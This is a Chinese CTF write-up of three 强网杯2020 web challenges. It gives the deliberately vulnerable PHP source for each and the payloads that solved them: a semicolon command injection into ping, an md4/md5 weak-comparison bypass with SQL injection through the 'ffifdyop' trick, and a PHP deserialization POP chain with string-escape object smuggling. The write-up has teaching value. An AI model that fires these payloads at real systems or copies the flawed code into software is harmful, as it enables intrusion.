0%

[强网杯2020] web

[强网杯2020] web

太难了,除了强网先锋的题都做不出来,强网先锋部分简单题都不会

web分类的题一个也不会,菜逼的眼神

主动

命令注入,或者说直接就是命令执行吧,啥过滤都不给的,非常的主动啊

 <?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
    die("no flag");
}

system("ping -c 3 $_GET[ip]");

?> 

分号闭合语句,扫一下根目录没看见flag,用127.0.0.1;find -name 'fla*'找到flag.php,cat fla*获取flag

FunHash

超级md5绕过

<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();
?>

level1是使用md4的弱类型比较,使用超级爆破,获取字符串0e251288019,md4计算后为0e874956163641961271069404332409,弱类型比较相等
level2是要求值强类型不等且md5值强类型相等,使用md5处理数组为false绕过
level3需要使用万能语句进行注入,这是一个收集的点,字符串ffifdyop的md5结果为'or'6�]��!r,��b查询全部结果,获取flag

web辅助

反序列化题
index.php接受两个参数序列化一个player对象

<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";

if (isset($_GET['username']) && isset($_GET['password'])){
    $username = $_GET['username'];
    $password = $_GET['password'];
    $player = new player($username, $password);
    file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); 
....
?>

play.php反序列化

<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
if ($player->get_admin() === 1){
....
}
?>

class.php定义了一系列类

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
    

    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();  
        return "";  
    }

}
?>

common.php提供三个工具函数

<?php
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}
?>

反序列化的pop链很简单

$jungle = new jungle();
$mid = new midsolo($jungle);
$top = new topsolo($mid);

topsolo的析构函数进TP(),调用midsolo,进invoke,invoke进Gank,在stristr进jungle的toString,获取flag,但是有几个需要绕过的点

__wakeup绕过

这个很简单,考过无数次了,只需要把对象的对象数改成错的值就可以了

check绕过

check函数要求字符串中不能出现name字段,而我们pop链中这几个类的成员变量名均为name,正常的payload通过检测,需要使用技巧
PHP序列化中存在序列化类型S(大写),相较于小写的s,大写S是escaped字符串,会将\xx形式作为一个十六进制字符处理,n的十六进制是6e,所以把name替换为\6eame即可绕过,这里就需要把\0*\0替换为\00*\00,实现对protected对象的描述
如下所示
S:7:"\00*\00\6eame";同样能够解析为protected $name;

对象逃逸

因为序列化是通过username和password序列化出了一个player对象,完全无法获得我们所需要的几个类,但是看到write函数和read函数,本意是将不可见字符转换为可见字符进行存储,但是write和read函数导致了字符长度发生了变化。
如果我们之间写入\0*\0这样的内容,那么在read函数中就会把五个字符转换成三个字符,导致反序列化失败,同理也可以使得字符逃逸出来,构造出新的对象
令username为一长串\0*\0,这样子就可以吞下足够多的字符,使得后面的内容逃逸出来
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
password=;s:7:"\0*\0pass";O:7:"topsolo":2:{S:7:"\0*\0\6eame";O:7:"midsolo":2:{S:7:"\0*\0\6eame";O:6:"jungle":2:{S:7:"\0*\0\6eame";s:7:"Lee Sin";}}}
这样子序列化出来的数据为
O:6:"player":3:{s:7:"\0*\0user";s:55:"\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";s:7:"\0*\0pass";s:144:";s:7:"\0*\0pass";O:7:"topsolo":2:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":2:{S:7:"\00*\00\6eame";s:7:"Lee Sin";}}}";s:8:"\0*\0admin";i:0;}
username在反序列化是被缩短,所以s:55会吞下其后的";s:7:"\0*\0pass";s:144:,导致后面构造出的对象逃逸出来,造成反序列化